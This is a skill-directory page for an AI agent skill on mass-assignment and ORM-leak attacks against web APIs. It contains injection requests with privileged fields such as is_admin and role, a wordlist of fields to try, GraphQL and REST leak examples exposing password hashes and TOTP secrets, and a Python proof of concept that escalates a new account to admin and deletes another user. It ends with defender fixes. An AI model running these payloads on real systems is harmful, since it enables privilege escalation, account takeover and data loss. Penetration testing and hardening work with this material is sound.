# Mass Assignment

> Mass assignment + ORM leak — inject extra fields into create/update requests, escalate to admin, leak protected fields via response.

- Skill: `purpleailab/mass-assignment` (Agent Skill)
- Install (CLI): `npx skillmds@latest add purpleailab/mass-assignment`
- Raw SKILL.md: https://api.skillmd.com/api/skills/purpleailab/mass-assignment/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: purpleailab (https://skillmd.com/u/purpleailab)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/purpleailab/mass-assignment

---


# Mass Assignment + ORM Leak

API endpoints that bind request JSON straight to model `update()` /
`create()` without an allowlist can be coerced into setting admin
fields (`is_admin`, `role`, `verified`, etc).

## 1. Detect
```bash
# Capture a legitimate update request
PATCH /api/users/me
{"name": "Alice"}

# Try adding common privileged fields
PATCH /api/users/me
{"name": "Alice", "is_admin": true, "role": "admin", "verified": true,
 "balance": 999999, "permissions": ["*"], "isStaff": true,
 "membership_level": "premium", "tier": "enterprise"}
```

Re-fetch own profile. If any of the injected fields persists with
attacker-set value → mass assignment.

## 2. Common field names to try
```
is_admin  isAdmin  admin  superuser  is_staff  isStaff  staff
role  roles  permission  permissions  scope  scopes  group  groups
verified  email_verified  isVerified  approved  banned  is_banned
balance  credits  points  reputation
tier  membership_level  plan  subscription
created_at  email  user_id  uuid  external_id  organization_id
password  password_hash
```

## 3. Framework-specific patterns

### Rails (legacy, pre-strong-params)
`User.create(params[:user])` → all params mass-assigned. Rails 4+ enforces
`params.require(:user).permit(:name, :email)`. If permit list is too broad,
mass assignment.

### Django REST Framework
`UserSerializer(instance, data=request.data, partial=True).save()` → all
declared fields settable. Bug: developer adds `is_staff` to serializer
fields by mistake.

### Express / Mongoose
```js
User.findOneAndUpdate({_id: req.params.id}, req.body)
// → any req.body field becomes a $set. Catastrophic.
```

### Spring Boot
`@RequestBody User u` → Jackson binds all settable properties. If `User`
has setter for `role`, attacker can set it.

### Go / Echo / Gin
`c.Bind(&user)` → same pattern.

## 4. ORM Leak — the response side

Sometimes the **response** serializer leaks fields the request can't set:
```bash
GET /api/users/123
{
  "id": 123,
  "name": "Alice",
  "email": "alice@target.com",
  "password_hash": "$2a$12$...",       ← leak!
  "totp_secret": "JBSW...",            ← leak!
  "stripe_customer_id": "cus_...",
  "internal_notes": "VIP customer"
}
```

Or via GraphQL field expansion:
```graphql
query { user(id: 123) { id name email passwordHash totpSecret } }
```

## 5. Tools
- Burp Intruder w/ wordlist of common privileged field names
- Manual exploration in dev tools — note ALL fields the app sees, try setting each

## 6. PoC

```python
import requests

# Step 1: Register normal account
r = requests.post(f"{TARGET}/register", json={
    "username": "attacker",
    "password": "test123",
    "is_admin": True,        # try
    "role": "admin",         # try
})

# Step 2: Login + check
sess = requests.Session()
sess.post(f"{TARGET}/login", json={"username": "attacker", "password": "test123"})
me = sess.get(f"{TARGET}/api/users/me").json()
assert me.get("is_admin") == True   # boom

# Step 3: Use admin powers
sess.delete(f"{TARGET}/api/users/2")   # delete another user → confirm admin
```

## 7. Severity

| Bug | Severity |
|---|---|
| Mass assignment to `is_admin` / `role` | Critical 9.8 |
| Mass assignment to `balance` / `credits` | Critical 9.0 |
| Mass assignment to `email_verified` | High 7-8 (chains to ATO) |
| ORM leak of password_hash | Critical 9.8 |
| ORM leak of TOTP secret | Critical 9.8 |
| ORM leak of internal notes / PII | High 7-8 |

## 8. Defender

```python
# Django REST Framework — explicit serializer fields, read_only_fields
class UserSerializer(serializers.ModelSerializer):
    class Meta:
        model = User
        fields = ['name', 'email']    # whitelist
        read_only_fields = ['id', 'created_at', 'is_admin', 'role']

# Rails — strong params
def user_params
  params.require(:user).permit(:name, :email)
end

# General: NEVER serialize entire model directly. Always project.
```

## Cross-references
- Upstream catalog: `skills/_corpus/payloads/Mass Assignment/` + `ORM Leak/`
- API misconfig: `skills/exploit/web/methodology/` (when added)

## Known exemplars
- GitHub 2012: Egor Homakov's classic Rails mass-assignment → set someone else as repo collaborator. Cost: company crisis, paper.
- Multiple Shopify / Atlassian / GitLab bounties for missing strong params
- 2023 GraphQL mass-introspection-leak campaigns

